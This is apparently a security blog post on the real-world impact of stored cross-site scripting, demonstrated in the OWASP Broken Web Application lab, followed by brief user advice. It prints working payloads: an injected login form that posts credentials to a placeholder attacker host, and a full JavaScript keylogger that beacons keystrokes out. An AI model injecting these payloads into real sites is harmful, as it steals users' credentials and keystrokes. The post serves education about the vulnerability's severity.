Last Updated on 7 June 2023 by admin
Table of Contents
In our previous article, we covered the basics of cross-site scripting (XSS). In this post about understanding cross-site scripting, we are going to take a deeper dive into this vulnerability and investigate some of the more malicious payloads that could be used by an attacker. The common alert box which is typically used as a proof of concept does not do the severity of this vulnerability justice, as demonstrated with the below payloads.
Examples that are demonstrated in this post were performed on the OWASP Broken Web Application Project, which provides a great playground to explore web vulnerabilities of all levels.
Understanding cross-site scripting and its real-world impacts
JavaScript should not be underestimated; it is incredibly versatile and is used to provide a large portion of the functionality that you encounter day-to-day on websites. But how would an attacker use this to their advantage if they were able to introduce arbitrary JavaScript to a site?
Stealing credentials
Arguably one of the most severe consequences of XSS is the ability for attackers to steal a user’s credentials and cookies, usually without any indication it is happening (unless you like reading JavaScript).
This can be achieved through multiple different methods. One way would be if credentials were cached in the browser.
Imagine you have logged into a site, clicked the yes prompt out of habit to save your credentials and for ease of use later on. Let’s say this site also contained a reviews section, like the one below:
An attacker could use a payload like the one shown below to steal cached credentials:
<b>Username and password:</><br>
<input name=username id=username>
<input type=password name=password onchange=”if(this.value.length)fetch(‘http://attackerip’,{
method:’POST’,
mode: ‘no-cors’,
body:username.value+’:’+this.value
});”>
As this was used in a stored XSS context, the credentials are automatically sent to the attacker upon the page being browsed to. Checking the logs on our attacking machine, we can see the user’s username and password!
The previously stated payload to capture cached credentials can also act as a username/password field. If a user were to fall prey to this and enter their credentials in the fields, the credentials would be sent to the attacker the same as before. Below shows what this payload would look like in practice:
Keylogging – monitoring everything you type
Keylogging is another severe consequence that could be abused via cross-site scripting, where an attacker could monitor everything you type onto a web page.
There are numerous keyloggers online and widely available on public code repositories such as GitHub which are all slightly different but achieve the same thing; all input from your keyboard being captured and sent to an attacker.
There are a few other prerequisites for this specific type of payload, but for now only the keylogging capability will be demonstrated.
The payload that will be being injected on our demo site is shown below:
<script src=”http://ipaddr/hostname/keylogger.js”
type=”text/javascript”>
</script>
This script is then hosted on our attacker-controlled site, which outputs each character to another PHP script hosted by the attacker, and then saves all the data sent to a file. Below shows the JavaScript file:
var buffer = [];
var attacker = ‘http://attackercontrolledsite/?c=’
document.onkeypress = function(e) {
var timestamp = Date.now() | 0;
var stroke = {
k: e.key,
t: timestamp
};
buffer.push(stroke);
}
window.setInterval(function() {
if (buffer.length > 0)
var data = encodeURIComponent(JSON.stringify(buffer));
new Image().src = attacker + data;
buffer = [];
}
}, 200);
When browsing to the page, it is not immediately obvious that keylogging is taking place to the user (aside from the username that was used to comment):
However, upon inspecting the source you can see the malicious script being referenced:
Now whenever a user visits this web page that has our malicious script injected, the script will be executed, resulting in any data that the user inputs being sent to our attacker-controlled site. Below shows an example of the data sent to the attacker’s web server:
All keystrokes are also logged in a file. The screenshot below shows some credentials that were captured!
Stealing sensitive data and screenshotting your screen
An attacker could also take screenshots of your current page. Automated tools exist to make this easier and in this example, we are going to use XSSHunter to automate it for us.
The payload is too big to cover here, but a similar technique to previous examples is going to be used. We will inject a payload with references to our malicious JavaScript.
Again, this is not immediately obvious that anything has been executed (apart from the very obvious username I chose) this would be completely invisible to the user upon initially visiting the web page:
However, in the background, the script was called and executed. This resulted in the XSSHunter tool screenshotting the page for us to view:
In this instance, no sensitive data was captured. But can you imagine the impact if this was present within an online banking application?
Website defacement
This type of use for XSS could be equally as severe as the other consequences listed. It has been previously demonstrated that remote scripts can be referenced, which also means we can reference remote images and sites.
The below script is relatively simple as it just references a remote site:
Now whenever the page that had the payload is visited, the user will get directed to the site specified, in this case, informer.io. Below shows the attack in action:
There are numerous other ways that defacement could be achieved and this has happened to various companies and government sites in the past – this was just one example of how XSS could be used to do so.
Cryptojacking – Mining cryptocurrency
JavaScript can be used to mine cryptocurrency – known as ‘Cryptojacking. This allows attackers to use unsuspecting victims’ computing power to mine cryptocurrency whenever a page that has their payload injected into it is visited. One of the most popular currency miners, Coinhive, made this process fairly trivial for attackers to do. However, as of March 2020, Coinhive announced that it is closing down. With that being said, numerous other cryptominers exist which are similar to Coinhive and are active today.
What can you do as a user to protect yourself as a user?
From a user perspective, you are at the hands of the website provider to ensure that they are secure and do not have any malicious scripts running. Sites you would consider to be secure can fall prey to these types of attacks. Even sites such as eBay are utilizing JavaScript to perform local port scans on your device when you visit. This caused quite a lot of controversy within the cyber security community, but it is supposedly for fraud prevention.
Fortunately, browser addons exist which can disable JavaScript. Some extensions even allow whitelisting of certain domains or tabs. The downside to this is a lot of functionality is JavaScript dependent, which could lead to a poor user experience when trying to use sites.
Summary
Cross-site scripting can be incredibly damaging to both the users of the site and the site owner. Only a small number of potential abuses of cross-site scripting were covered, but it certainly demonstrates that there is more to cross-site scripting than an alert box. When exploited in the wild by advanced persistent threats (APTs) more advanced payloads are used, making it even more difficult to detect, resulting in exploitation going undetected for months due to obfuscation techniques.
Read more about cross-site scripting
What Is Cross-Site Scripting (XSS)?
How To Prevent An Cross-Site Scripting (XSS) Attack
